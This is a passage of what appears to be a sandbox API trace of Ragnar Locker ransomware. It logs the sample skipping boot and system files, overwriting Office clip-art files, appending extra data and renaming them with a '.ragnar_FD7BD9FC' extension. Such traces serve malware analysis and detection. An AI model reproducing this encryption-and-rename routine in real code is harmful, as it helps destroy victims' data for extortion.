dwFlags=0x3) returned 1 [0090.702] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0090.702] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.702] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00192_.WMF" | out: lpString1="SO00192_.WMF") returned="SO00192_.WMF" [0090.702] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF") returned=".WMF" [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="autorun.inf") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="boot.ini") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="bootfont.bin") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="bootsect.bak") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="bootmgr") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="bootmgr.efi") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="desktop.ini") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="iconcache.db") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="ntldr") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="ntuser.dat") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="ntuser.ini") returned 1 [0090.702] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="thumbs.db") returned -1 [0090.702] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.702] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.702] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.702] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.702] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.702] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.702] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf")) returned 0x20 [0090.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.703] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10252) returned 1 [0090.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2803, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.703] GetProcessHeap () returned 0x580000 [0090.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.703] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.704] VirtualAlloc (lpAddress=0x0, dwSize=0x280c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.705] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x280c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x280c, lpOverlapped=0x0) returned 1 [0090.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.706] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x280c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.706] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x280c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x280c, lpOverlapped=0x0) returned 1 [0090.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x280c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.706] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x280c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.706] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.706] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.707] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.707] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.707] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.707] GetProcessHeap () returned 0x580000 [0090.707] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.707] CloseHandle (hObject=0xf4) returned 1 [0090.707] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" [0090.707] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.ragnar_FD7BD9FC" [0090.707] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.708] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0090.708] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.708] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00194_.WMF" | out: lpString1="SO00194_.WMF") returned="SO00194_.WMF" [0090.708] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF") returned=".WMF" [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="autorun.inf") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="boot.ini") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="bootfont.bin") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="bootsect.bak") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="bootmgr") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="bootmgr.efi") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="desktop.ini") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="iconcache.db") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="ntldr") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="ntuser.dat") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="ntuser.ini") returned 1 [0090.708] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="thumbs.db") returned -1 [0090.708] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.708] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.708] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.708] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.708] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.708] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.708] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf")) returned 0x20 [0090.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.709] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10176) returned 1 [0090.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.709] GetProcessHeap () returned 0x580000 [0090.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.709] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.711] VirtualAlloc (lpAddress=0x0, dwSize=0x27c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.711] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27c0, lpOverlapped=0x0) returned 1 [0090.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.712] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.712] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27c0, lpOverlapped=0x0) returned 1 [0090.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.714] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.715] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.715] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.715] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.715] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.715] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.715] GetProcessHeap () returned 0x580000 [0090.715] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.715] CloseHandle (hObject=0xf4) returned 1 [0090.715] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" [0090.715] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.ragnar_FD7BD9FC" [0090.715] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.716] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0090.716] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.716] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00197_.WMF" | out: lpString1="SO00197_.WMF") returned="SO00197_.WMF" [0090.716] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF") returned=".WMF" [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="autorun.inf") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="boot.ini") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="bootfont.bin") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="bootsect.bak") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="bootmgr") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="bootmgr.efi") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="desktop.ini") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="iconcache.db") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="ntldr") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="ntuser.dat") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="ntuser.ini") returned 1 [0090.716] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="thumbs.db") returned -1 [0090.716] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.716] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.716] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.716] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.716] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.716] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.717] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf")) returned 0x20 [0090.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.717] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9100) returned 1 [0090.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.717] GetProcessHeap () returned 0x580000 [0090.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.717] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.719] VirtualAlloc (lpAddress=0x0, dwSize=0x238c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.719] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x238c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x238c, lpOverlapped=0x0) returned 1 [0090.720] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.720] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x238c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.720] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x238c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x238c, lpOverlapped=0x0) returned 1 [0090.720] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x238c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.720] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.720] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x238c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.720] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.721] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.721] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.721] GetProcessHeap () returned 0x580000 [0090.721] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.721] CloseHandle (hObject=0xf4) returned 1 [0090.721] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" [0090.721] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.ragnar_FD7BD9FC" [0090.721] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.722] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0090.722] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", 